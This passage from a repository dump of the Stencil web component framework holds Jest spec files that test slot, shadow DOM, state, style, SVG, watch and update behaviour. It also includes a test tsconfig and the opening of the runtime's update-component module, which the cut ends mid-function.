{\n      @Prop() slot = true;\n\n      render() {\n        return (\n          <div>\n            {this.slot ? (\n              <div key=\"one\">\n                <slot></slot>\n              </div>\n            ) : (\n              <div key=\"two\"></div>\n            )}\n          </div>\n        );\n      }\n    }\n    const page = await newSpecPage({\n      components: [CmpB],\n      includeAnnotations: true,\n      html: `<cmp-b>hello</cmp-b>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-b class=\"hydrated sc-cmp-b-h\">\n        <!---->\n        <div class=\"sc-cmp-b\">\n          <div class=\"sc-cmp-b sc-cmp-b-s\">hello</div>\n        </div>\n      </cmp-b>\n    `);\n\n    page.root.slot = false;\n    await page.waitForChanges();\n    await page.waitForChanges();\n\n    expect(page.root).toEqualHtml(`\n      <cmp-b class=\"hydrated sc-cmp-b-h\">\n        <!---->\n        <!--s-nt-hello-->\n        <div class=\"sc-cmp-b\">\n          <div class=\"sc-cmp-b\"></div>\n        </div>\n      </cmp-b>\n    `);\n  });\n\n  describe('should keep scope for onSlotChange', () => {\n    @Component({\n      tag: 'my-node-with-slot-changes',\n      shadow: false,\n      scoped: true,\n    })\n    class MyNodeWithSlotChanges {\n      @State() slotChangeCount: number = 0;\n      @State() lastChangeTime: string = '';\n\n      setSectionSeparator = (): void => {\n        this.slotChangeCount++;\n        this.lastChangeTime = new Date().toLocaleTimeString();\n      };\n\n      render() {\n        return (\n          <Host>\n            <div>\n              <strong>Slot Change Monitor:</strong>\n              <br />\n              Changes detected: <span>{this.slotChangeCount}</span>\n              <br />\n              {this.lastChangeTime && (\n                <span>\n                  Last change: <span>{this.lastChangeTime}</span>\n                </span>\n              )}\n            </div>\n\n            <div>\n              <div>Slot Content:</div>\n              <slot onSlotchange={this.setSectionSeparator}></slot>\n            </div>\n          </Host>\n        );\n      }\n    }\n\n    it('renders with a slot', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes><div>Test content</div></my-node-with-slot-changes>',\n      });\n\n      expect(page.root).toBeDefined();\n      expect(page.root.querySelector('slot')).toBeDefined();\n    });\n\n    it('renders with initial state values', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes></my-node-with-slot-changes>',\n      });\n\n      const component = page.rootInstance as MyNodeWithSlotChanges;\n      expect(component.slotChangeCount).toBe(0);\n      expect(component.lastChangeTime).toBe('');\n    });\n\n    it('renders the slot change monitor UI', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes><span>Test content</span></my-node-with-slot-changes>',\n      });\n\n      const monitorText = page.root.textContent;\n      expect(monitorText).toContain('Slot Change Monitor:');\n      expect(monitorText).toContain('Changes detected: 0');\n    });\n\n    it('has the correct onSlotchange handler attached', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes></my-node-with-slot-changes>',\n      });\n\n      // In scoped components, slot elements are replaced with text nodes for the slot polyfill\n      // So we can't use querySelector('slot'). Instead, we should verify that the component\n      // rendered without errors, which means the addEventListener call succeeded.\n      expect(page.root).toBeDefined();\n\n      // We can also verify that the component instance has the expected event handler\n      const component = page.rootInstance as MyNodeWithSlotChanges;\n      expect(typeof component.setSectionSeparator).toBe('function');\n\n      // The slot is polyfilled as a text node, but we can verify the structure is correct\n      expect(page.root.innerHTML).toContain('Slot Content:');\n    });\n\n    it('triggers slotchange handler when slot content changes', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes><span>Initial content</span></my-node-with-slot-changes>',\n      });\n\n      const component = page.rootInstance as MyNodeWithSlotChanges;\n\n      // Verify initial state\n      expect(component.slotChangeCount).toBe(0);\n      expect(component.lastChangeTime).toBe('');\n\n      // Find the slot node (it's a text node with s-sr property in scoped components)\n      const findSlotNode = (element: Element): any => {\n        // Check if this element is a slot node\n        if ((element as any)['s-sr'] && (element as any).dispatchEvent) {\n          return element;\n        }\n\n        // Recursively check child nodes\n        for (let i = 0; i < element.childNodes.length; i++) {\n          const child = element.childNodes[i];\n          if ((child as any)['s-sr'] && (child as any).dispatchEvent) {\n            return child;\n          }\n\n          // If it's an element, recurse into it\n          if (child.nodeType === 1) {\n            const found = findSlotNode(child as Element);\n            if (found) return found;\n          }\n        }\n\n        return null;\n      };\n\n      const slotNode = findSlotNode(page.root);\n      expect(slotNode).toBeTruthy();\n      expect(typeof slotNode.dispatchEvent).toBe('function');\n\n      // Create and dispatch a slotchange event manually\n      const slotchangeEvent = new CustomEvent('slotchange', { bubbles: true });\n\n      // Manually dispatch the event to test our polyfill\n      slotNode.dispatchEvent(slotchangeEvent);\n\n      // Wait for the component to update\n      await page.waitForChanges();\n\n      // Verify the handler was called and state was updated\n      expect(component.slotChangeCount).toBe(1);\n      expect(component.lastChangeTime).not.toBe('');\n\n      // Verify the UI was updated to reflect the change\n      const monitorText = page.root.textContent;\n      expect(monitorText).toContain('Changes detected: 1');\n    });\n\n    it('slotchange handler can be called multiple times', async () => {\n      const page = await newSpecPage({\n        components: [MyNodeWithSlotChanges],\n        html: '<my-node-with-slot-changes><div>Test content</div></my-node-with-slot-changes>',\n      });\n\n      const component = page.rootInstance as MyNodeWithSlotChanges;\n\n      // Find the slot node\n      const findSlotNode = (element: Element): any => {\n        // Check if this element is a slot node\n        if ((element as any)['s-sr'] && (element as any).dispatchEvent) {\n          return element;\n        }\n\n        // Recursively check child nodes\n        for (let i = 0; i < element.childNodes.length; i++) {\n          const child = element.childNodes[i];\n          if ((child as any)['s-sr'] && (child as any).dispatchEvent) {\n            return child;\n          }\n\n          // If it's an element, recurse into it\n          if (child.nodeType === 1) {\n            const found = findSlotNode(child as Element);\n            if (found) return found;\n          }\n        }\n\n        return null;\n      };\n\n      const slotNode = findSlotNode(page.root);\n      expect(slotNode).toBeTruthy();\n\n      // Dispatch multiple slotchange events\n      for (let i = 1; i <= 3; i++) {\n        const slotchangeEvent = new CustomEvent('slotchange', { bubbles: true });\n        slotNode.dispatchEvent(slotchangeEvent);\n        await page.waitForChanges();\n\n        expect(component.slotChangeCount).toBe(i);\n      }\n\n      // Verify the final state\n      expect(component.slotChangeCount).toBe(3);\n      const monitorText = page.root.textContent;\n      expect(monitorText).toContain('Changes detected: 3');\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/shadow.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\n@Component({\n  tag: 'cmp-a',\n  styles: ':host { color: black }',\n  shadow: true,\n})\nclass CmpA {\n  render() {\n    return (\n      <div>\n        <slot name=\"start\"></slot>\n        <span>\n          <slot />\n        </span>\n        <div class=\"end\">\n          <slot name=\"end\"></slot>\n        </div>\n      </div>\n    );\n  }\n}\n\ndescribe('shadow', () => {\n  it('render with shadow-dom enabled', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      includeAnnotations: true,\n      html: `\n      <cmp-a>\n        <span slot=\"end\">End</span>\n        Text\n        <span slot=\"start\">Start</span>\n      </cmp-a>`,\n    });\n\n    expect(page.root).toEqualHtml(`\n    <cmp-a class=\"hydrated\">\n      <mock:shadow-root>\n        <div>\n          <slot name=\\\"start\\\"></slot>\n          <span>\n            <slot></slot>\n          </span>\n          <div class='end'>\n            <slot name='end'></slot>\n          </div>\n        </div>\n      </mock:shadow-root>\n\n      <span slot=\\\"end\\\">\n        End\n      </span>\n      Text\n      <span slot=\\\"start\\\">\n        Start\n      </span>\n    </cmp-a>`);\n\n    expect(page.root).toEqualLightHtml(`\n    <cmp-a class=\"hydrated\">\n      <span slot=\\\"end\\\">\n        End\n      </span>\n      Text\n      <span slot=\\\"start\\\">\n        Start\n      </span>\n    </cmp-a>`);\n  });\n\n  it('render scoped html with shadow-dom disabled', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      supportsShadowDom: false,\n      includeAnnotations: true,\n      html: `\n      <cmp-a>\n        <span slot=\"end\">End</span>\n        Text\n        <span slot=\"start\">Start</span>\n      </cmp-a>`,\n    });\n\n    const expected = `\n    <cmp-a class=\"hydrated sc-cmp-a-h\">\n      <!---->\n      <div class=\\\"sc-cmp-a sc-cmp-a-s\\\">\n        <span slot=\\\"start\\\">\n          Start\n        </span>\n        <span class=\\\"sc-cmp-a sc-cmp-a-s\\\">\n          Text\n        </span>\n        <div class=\"end sc-cmp-a sc-cmp-a-s\">\n          <span slot=\\\"end\\\">\n            End\n          </span>\n        </div>\n      </div>\n    </cmp-a>`;\n    expect(page.root).toEqualHtml(expected);\n    expect(page.root).toEqualLightHtml(expected);\n  });\n\n  it('render scoped html with shadow-dom disabled without annotations', async () => {\n    const page = await newSpecPage({\n      components: [CmpA],\n      supportsShadowDom: false,\n      html: `\n      <cmp-a>\n        <span slot=\"end\">End</span>\n        Text\n        <span slot=\"start\">Start</span>\n      </cmp-a>`,\n    });\n\n    const expected = `\n    <cmp-a>\n      <div>\n        <span slot=\\\"start\\\">\n          Start\n        </span>\n        <span>\n          Text\n        </span>\n        <div class='end'>\n          <span slot=\\\"end\\\">\n            End\n          </span>\n        </div>\n      </div>\n    </cmp-a>`;\n    expect(page.root).toEqualHtml(expected);\n    expect(page.root).toEqualLightHtml(expected);\n  });\n\n  it('test shadow root innerHTML', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return <div>Shadow Content</div>;\n      }\n    }\n\n    const page = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>\n          Light Content\n        </cmp-a>\n      `,\n    });\n\n    expect(page.root).toEqualHtml(`\n      <cmp-a>\n        <mock:shadow-root>\n          <div>\n            Shadow Content\n          </div>\n        </mock:shadow-root>\n        Light Content\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/state.spec.tsx",
    "content": "import { Component, Method, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nfunction Clamp(lowerBound: number, upperBound: number): any {\n  const clamp = (value: number) => Math.max(lowerBound, Math.min(value, upperBound));\n  return () => {\n    const key = Symbol();\n    return {\n      get() {\n        return this[key];\n      },\n      set(newValue: number) {\n        this[key] = clamp(newValue);\n      },\n      configurable: true,\n      enumerable: true,\n    };\n  };\n}\n\ndescribe('state', () => {\n  it('set default values, update on re-render', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @State() boolFalse = false;\n      @State() boolTrue = true;\n      @State() str = 'string';\n      @State() num = 88;\n      @Clamp(0, 10)\n      @State()\n      clamped = -1;\n\n      @Method()\n      async update() {\n        (this.boolFalse = true), (this.boolTrue = false);\n        this.str = 'hello';\n        this.num = 99;\n        this.clamped = 11;\n      }\n\n      render() {\n        return `${this.boolFalse}-${this.boolTrue}-${this.str}-${this.num}-${this.clamped}`;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toEqualHtml(`\n      <cmp-a>false-true-string-88-0</cmp-a>\n    `);\n\n    expect(root.textContent).toBe('false-true-string-88-0');\n    expect(root.boolFalse).toBe(undefined);\n    expect(root.boolTrue).toBe(undefined);\n    expect(root.str).toBe(undefined);\n    expect(root.num).toBe(undefined);\n    expect(root.clamped).toBe(undefined);\n\n    await root.update();\n    await waitForChanges();\n\n    expect(root.textContent).toBe('true-false-hello-99-10');\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/style.spec.tsx",
    "content": "import { Component, getMode, setMode } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('style', () => {\n  it('get style string', async () => {\n    @Component({\n      tag: 'cmp-a',\n      styles: `\n        div {\n          color: red;\n        }\n      `,\n    })\n    class CmpA {\n      render() {\n        return `innertext`;\n      }\n    }\n\n    const { root, styles } = await newSpecPage({\n      components: [CmpA],\n      includeAnnotations: true,\n      html: `<cmp-a></cmp-a>`,\n    });\n\n    expect(root).toHaveClass('hydrated');\n    expect(styles.get('sc-cmp-a')).toContain(`color: red;`);\n  });\n\n  it('applies the nonce value to the head style tags', async () => {\n    @Component({\n      tag: 'cmp-a',\n      styles: `\n        div {\n          color: red;\n        }\n      `,\n    })\n    class CmpA {\n      render() {\n        return `innertext`;\n      }\n    }\n\n    const { doc } = await newSpecPage({\n      components: [CmpA],\n      includeAnnotations: true,\n      html: `<cmp-a></cmp-a>`,\n      platform: {\n        $nonce$: '1234',\n      },\n    });\n\n    expect(doc.head.innerHTML).toEqual(\n      '<style data-styles nonce=\"1234\">cmp-a{visibility:hidden}.hydrated{visibility:inherit}</style>',\n    );\n  });\n\n  describe('mode', () => {\n    it('md mode', async () => {\n      setMode(() => 'md');\n      @Component({\n        tag: 'cmp-a',\n        styles: {\n          ios: `:host { color: black }`,\n          md: `:host { color: red }`,\n        },\n      })\n      class CmpA {\n        render() {\n          return `Hola`;\n        }\n      }\n\n      const { root, styles } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(styles.get('sc-cmp-a-md')).toEqual(':host { color: red }');\n      expect(getMode(root)).toEqual('md');\n    });\n\n    it('ios mode', async () => {\n      setMode(() => 'ios');\n      @Component({\n        tag: 'cmp-a',\n        styles: {\n          ios: `:host { color: black };`,\n          md: `:host { color: red };`,\n        },\n      })\n      class CmpA {\n        render() {\n          return `Hola`;\n        }\n      }\n      const { root, styles } = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n\n      expect(styles.get('sc-cmp-a-ios')).toEqual(':host { color: black };');\n      expect(getMode(root)).toEqual('ios');\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/svg-element.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { Prop } from '../../declarations';\n\ndescribe('SVG element', () => {\n  it('should render #text nodes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() lines: any[] = [1];\n\n      render() {\n        return (\n          <svg viewBox=\"0 0 100 4\">\n            {this.lines.map((a) => {\n              return [<text>Hola {a}</text>];\n            })}\n          </svg>\n        );\n      }\n    }\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <svg viewBox=\\\"0 0 100 4\\\">\n          <text>Hola 1</text>\n        </svg>\n      </cmp-a>\n    `);\n    root.lines = [1, 2];\n    await waitForChanges();\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <svg viewBox=\\\"0 0 100 4\\\">\n          <text>Hola 1</text>\n          <text>Hola 2</text>\n        </svg>\n      </cmp-a>\n    `);\n\n    // Ensure all SVG elements have the SVG namespace\n    const namespaces = root.querySelectorAll('text').map((e: any) => e.namespaceURI);\n\n    expect(namespaces).toEqual(['http://www.w3.org/2000/svg', 'http://www.w3.org/2000/svg']);\n  });\n\n  it('should render camelCase attributes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        const A = 'a' as any;\n        return (\n          <svg id=\"my-svg\" viewBox=\"0 0 100 4\" preserveAspectRatio=\"none\">\n            <A xlinkHref=\"/path\"></A>\n            <a href=\"/path\"></a>\n          </svg>\n        );\n      }\n    }\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    expect(root).toEqualHtml(`\n      <cmp-a>\n        <svg id=\\\"my-svg\\\" preserveAspectRatio=\\\"none\\\" viewBox=\\\"0 0 100 4\\\">\n          <a xlink:href=\"/path\"></a>\n          <a href=\"/path\"></a>\n        </svg>\n      </cmp-a>\n    `);\n  });\n\n  describe('path', () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <div>\n            <a href=\"#\">Dude!!</a>\n            <svg id=\"my-svg\" viewBox=\"0 0 100 4\" preserveAspectRatio=\"none\">\n              <path id=\"my-svg-path\" d=\"M 0,2 L 100,2\" stroke=\"#FFEA82\" stroke-width=\"4\" fill-opacity=\"0\" />\n            </svg>\n          </div>\n        );\n      }\n    }\n\n    let path: SVGGeometryElement;\n    beforeEach(async () => {\n      const page = await newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      });\n      path = page.root.querySelector('#my-svg-path');\n    });\n\n    it('path namespace is SVG', () => {\n      expect(path.namespaceURI).toEqual('http://www.w3.org/2000/svg');\n    });\n\n    it('allows read access to the ownerSVGElement property', () => {\n      expect(path.ownerSVGElement).toEqual(null);\n    });\n\n    it('allows read access to the viewportElement property', () => {\n      expect(path.viewportElement).toEqual(null);\n    });\n\n    it('allows access to the getTotalLength() method', () => {\n      expect(path.getTotalLength()).toEqual(0);\n    });\n\n    it('allows access to the isPointInFill() method', () => {\n      expect(path.isPointInFill()).toEqual(false);\n    });\n\n    it('allows access to the isPointInStroke() method', () => {\n      expect(path.isPointInStroke()).toEqual(false);\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"lib\": [\"dom\", \"es2017\", \"esnext.array\"],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../index.ts\"],\n      \"@stencil/core/testing\": [\"../../testing/index.ts\"],\n      \"@platform\": [\"../../client/index.ts\"]\n    }\n  }\n}\n"
  },
  {
    "path": "src/runtime/test/update-component.spec.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('update-component', () => {\n  describe('scheduleUpdate - initial load with queueMicrotask', () => {\n    @Component({\n      tag: 'test-cmp',\n    })\n    class TestCmp {\n      @State() count = 0;\n\n      render() {\n        return h('div', null, `Count: ${this.count}`);\n      }\n    }\n\n    it('should use queueMicrotask for initial load dispatch', async () => {\n      const queueMicrotaskSpy = jest.spyOn(global, 'queueMicrotask');\n\n      const page = await newSpecPage({\n        components: [TestCmp],\n        html: `<test-cmp></test-cmp>`,\n      });\n\n      expect(queueMicrotaskSpy).toHaveBeenCalled();\n      expect(page.root.textContent).toContain('Count: 0');\n\n      queueMicrotaskSpy.mockRestore();\n    });\n\n    it('should not interfere with following render dispatch events', async () => {\n      let componentWillRender = 0;\n      const queueMicrotaskSpy = jest.spyOn(global, 'queueMicrotask');\n\n      @Component({\n        tag: 'update-test-cmp',\n      })\n      class UpdateTestCmp {\n        @State() count = 0;\n\n        increment() {\n          this.count++;\n        }\n\n        componentWillRender() {\n          componentWillRender++;\n        }\n\n        render() {\n          return h('div', null, `Count: ${this.count}`);\n        }\n      }\n\n      const page = await newSpecPage({\n        components: [UpdateTestCmp],\n        html: `<update-test-cmp></update-test-cmp>`,\n      });\n\n      expect(page.root.textContent).toBe('Count: 0');\n      expect(componentWillRender).toBe(1);\n\n      page.rootInstance.increment();\n      await page.waitForChanges();\n\n      expect(page.root.textContent).toContain('Count: 1');\n      expect(queueMicrotaskSpy).toHaveBeenCalledTimes(1);\n      expect(componentWillRender).toBe(2);\n\n      queueMicrotaskSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/vdom-relocation.spec.tsx",
    "content": "import { Component, h, Listen, State } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('vdom-relocation', () => {\n  it('vdom-relocation', async () => {\n    @Component({\n      tag: 'my-root',\n    })\n    class Root {\n      @State() data = [1, 2, 3];\n      @Listen('click')\n      onclick() {\n        this.data = [...this.data, this.data.length + 1];\n      }\n\n      render() {\n        return (\n          <my-child>\n            {this.data.map((a) => (\n              <div>{a}</div>\n            ))}\n          </my-child>\n        );\n      }\n    }\n\n    @Component({\n      tag: 'my-child',\n    })\n    class Child {\n      render() {\n        return (\n          <div class=\"wrapper\">\n            <slot></slot>\n          </div>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Root, Child],\n      html: `<my-root></my-root>`,\n    });\n\n    expect(root).toEqualHtml(`\n<my-root>\n  <my-child>\n    <div class=\\\"wrapper\\\">\n      <div>1</div>\n      <div>2</div>\n      <div>3</div>\n    </div>\n  </my-child>\n</my-root>`);\n\n    root.click();\n    await waitForChanges();\n\n    expect(root).toEqualHtml(`\n  <my-root>\n    <my-child>\n      <div class=\\\"wrapper\\\">\n        <div>1</div>\n        <div>2</div>\n        <div>3</div>\n        <div>4</div>\n      </div>\n    </my-child>\n  </my-root>`);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/watch.spec.tsx",
    "content": "import { Component, Method, Prop, State, Watch } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\nimport { withSilentWarn } from '../../testing/testing-utils';\n\ndescribe('watch', () => {\n  it('watch is called each time a prop changes', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      method1Called = 0;\n      method2Called = 0;\n\n      @Prop() prop1 = 1;\n      @State() someState = 'hello';\n\n      @Watch('prop1')\n      @Watch('someState')\n      method1() {\n        this.method1Called++;\n      }\n\n      @Watch('prop1')\n      method2() {\n        this.method2Called++;\n      }\n\n      componentDidLoad() {\n        expect(this.method1Called).toBe(0);\n        expect(this.method2Called).toBe(0);\n        expect(this.prop1).toBe(1);\n        expect(this.someState).toBe('hello');\n      }\n    }\n\n    const { root, rootInstance } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n    jest.spyOn(rootInstance, 'method2');\n\n    // set same values, watch should not be called\n    root.prop1 = 1;\n    rootInstance.someState = 'hello';\n    expect(rootInstance.method1).toHaveBeenCalledTimes(0);\n    expect(rootInstance.method2).toHaveBeenCalledTimes(0);\n\n    // set different values\n    root.prop1 = 100;\n    expect(rootInstance.method1).toHaveBeenCalledTimes(1);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith(100, 1, 'prop1');\n    expect(rootInstance.method2).toHaveBeenCalledTimes(1);\n    expect(rootInstance.method2).toHaveBeenLastCalledWith(100, 1, 'prop1');\n\n    rootInstance.someState = 'bye';\n    expect(rootInstance.method2).toHaveBeenCalledTimes(1);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith('bye', 'hello', 'someState');\n  });\n\n  it('should Watch correctly', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      watchCalled = 0;\n\n      @Prop({ mutable: true }) prop = 10;\n      @Prop({ mutable: true }) value = 10;\n      @State({ mutable: true }) someState = 'default';\n\n      @Watch('prop')\n      @Watch('value')\n      @Watch('someState')\n      method() {\n        this.watchCalled++;\n      }\n\n      componentWillLoad() {\n        expect(this.watchCalled).toBe(0);\n        this.prop = 1;\n        expect(this.watchCalled).toBe(1);\n        this.value = 1;\n        expect(this.watchCalled).toBe(2);\n        this.someState = 'hello';\n        expect(this.watchCalled).toBe(3);\n      }\n\n      componentDidLoad() {\n        expect(this.watchCalled).toBe(3);\n        this.prop = 1;\n        this.value = 1;\n        this.someState = 'hello';\n        expect(this.watchCalled).toBe(3);\n        this.prop = 20;\n        this.value = 30;\n        this.someState = 'bye';\n        expect(this.watchCalled).toBe(6);\n      }\n    }\n\n    const { root, rootInstance } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a prop=\"123\"></cmp-a>`,\n      }),\n    );\n\n    expect(rootInstance.watchCalled).toBe(6);\n    jest.spyOn(rootInstance, 'method');\n\n    // trigger updates in element\n    root.prop = 1000;\n    expect(rootInstance.method).toHaveBeenLastCalledWith(1000, 20, 'prop');\n\n    root.value = 1300;\n    expect(rootInstance.method).toHaveBeenLastCalledWith(1300, 30, 'value');\n  });\n\n  it('should Watch from lifecycles', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      renderCount = 0;\n      watchCalled = 0;\n\n      @State() state = 0;\n      @Watch('state')\n      method() {\n        this.watchCalled++;\n      }\n\n      @Method()\n      async pushState() {\n        this.state++;\n      }\n\n      connectedCallback() {\n        expect(this.watchCalled).toBe(0);\n        this.state = 1;\n        expect(this.watchCalled).toBe(1);\n        this.state = 1;\n        expect(this.watchCalled).toBe(1);\n        this.state = 2;\n        expect(this.watchCalled).toBe(2);\n      }\n\n      componentWillLoad() {\n        expect(this.watchCalled).toBe(2);\n        this.state = 3;\n        expect(this.watchCalled).toBe(3);\n      }\n\n      componentDidLoad() {\n        this.state = 4;\n        expect(this.watchCalled).toBe(4);\n      }\n\n      render() {\n        this.renderCount++;\n        return `${this.renderCount} ${this.state} ${this.watchCalled}`;\n      }\n    }\n\n    const { root, waitForChanges } = await withSilentWarn(() =>\n      newSpecPage({\n        components: [CmpA],\n        html: `<cmp-a></cmp-a>`,\n      }),\n    );\n\n    expect(root).toEqualHtml(`<cmp-a>2 4 4</cmp-a>`);\n    await waitForChanges();\n    await waitForChanges();\n    expect(root).toEqualHtml(`<cmp-a>2 4 4</cmp-a>`);\n\n    await root.pushState();\n    await waitForChanges();\n    expect(root).toEqualHtml(`<cmp-a>3 5 5</cmp-a>`);\n  });\n\n  it('correctly calls watch when @Prop uses `set()', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      method1Called = 0;\n\n      private _prop1 = 1;\n      @Prop()\n      get prop1() {\n        return this._prop1;\n      }\n      set prop1(newProp: number) {\n        if (isNaN(newProp)) return;\n        this._prop1 = newProp;\n      }\n\n      @Watch('prop1')\n      method1() {\n        this.method1Called++;\n      }\n\n      componentDidLoad() {\n        expect(this.method1Called).toBe(0);\n        expect(this.prop1).toBe(1);\n      }\n    }\n\n    const { root, rootInstance } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    jest.spyOn(rootInstance, 'method1');\n\n    // set same values, watch should not be called\n    root.prop1 = 1;\n    expect(rootInstance.method1).toHaveBeenCalledTimes(0);\n\n    // set different values\n    root.prop1 = 100;\n    expect(rootInstance.method1).toHaveBeenCalledTimes(1);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith(100, 1, 'prop1');\n\n    // guard has prevented the watch from being called\n    root.prop1 = 'bye';\n    expect(root.prop1).toBe(100);\n    expect(rootInstance.method1).toHaveBeenCalledTimes(1);\n    expect(rootInstance.method1).toHaveBeenLastCalledWith(100, 1, 'prop1');\n  });\n\n  it('can immediately call watch method with default value', async () => {\n    const called: number[] = [];\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() prop1 = 1;\n\n      @Watch('prop1', { immediate: true })\n      methodImmediate(incomingValue: number) {\n        called.push(incomingValue);\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n    });\n    await waitForChanges();\n    expect(called.length).toBe(1);\n    expect(called[0]).toBe(1);\n\n    // set same values, watch should not be called\n    root.prop1 = 1;\n    expect(called.length).toBe(1);\n\n    // // set different values\n    root.prop1 = 100;\n    await waitForChanges();\n    expect(called.length).toBe(2);\n    expect(called[1]).toBe(100);\n  });\n\n  it('can immediately call watch method with incoming attribute value', async () => {\n    const called: number[] = [];\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      @Prop() prop1 = 1;\n\n      @Watch('prop1', { immediate: true })\n      methodImmediate(incomingValue: number) {\n        called.push(incomingValue);\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a prop-1=\"2\"></cmp-a>`,\n    });\n    await waitForChanges();\n    expect(called.length).toBe(1);\n    expect(called[0]).toBe(2);\n\n    // set same values, watch should not be called\n    root.prop1 = 2;\n    expect(called.length).toBe(1);\n\n    // // set different values\n    root.prop1 = 100;\n    await waitForChanges();\n    expect(called.length).toBe(2);\n    expect(called[1]).toBe(100);\n  });\n});\n"
  },
  {
    "path": "src/runtime/update-component.ts",
    "content": "import { BUILD, NAMESPACE } from '@app-data';\nimport { Build, consoleError, getHostRef, nextTick, plt, win, writeTask } from '@platform';\n\nimport type * as d from '../declarations';\nimport { CMP_FLAGS, HOST_FLAGS } from '../utils/constants';\nimport { emitEvent } from './event-emitter';\nimport { createTime } from './profile';\nimport { PLATFORM_FLAGS } from './runtime-constants';\nimport { attachStyles } from './styles';\nimport { renderVdom } from './vdom/vdom-render';\n\nexport const attachToAncestor = (hostRef: d.HostRef, ancestorComponent?: d.HostElement) => {\n  if (BUILD.asyncLoading && ancestorComponent && !hostRef.$onRenderResolve$ && ancestorComponent['s-p']) {\n    const index = ancestorComponent['s-p'].push(\n      new Promise(\n        (r) =>\n          (hostRef.$onRenderResolve$ = () => {\n            ancestorComponent['s-p'].splice(index - 1, 1);\n            r();\n          }),\n      ),\n    );\n  }\n};\n\nexport const scheduleUpdate = (hostRef: d.HostRef, isInitialLoad: boolean): Promise<void> | void => {\n  if (BUILD.taskQueue && BUILD.updatable) {\n    hostRef.$flags$ |= HOST_FLAGS.isQueuedForUpdate;\n  }\n  if (BUILD.asyncLoading && hostRef.$flags$ & HOST_FLAGS.isWaitingForChildren) {\n    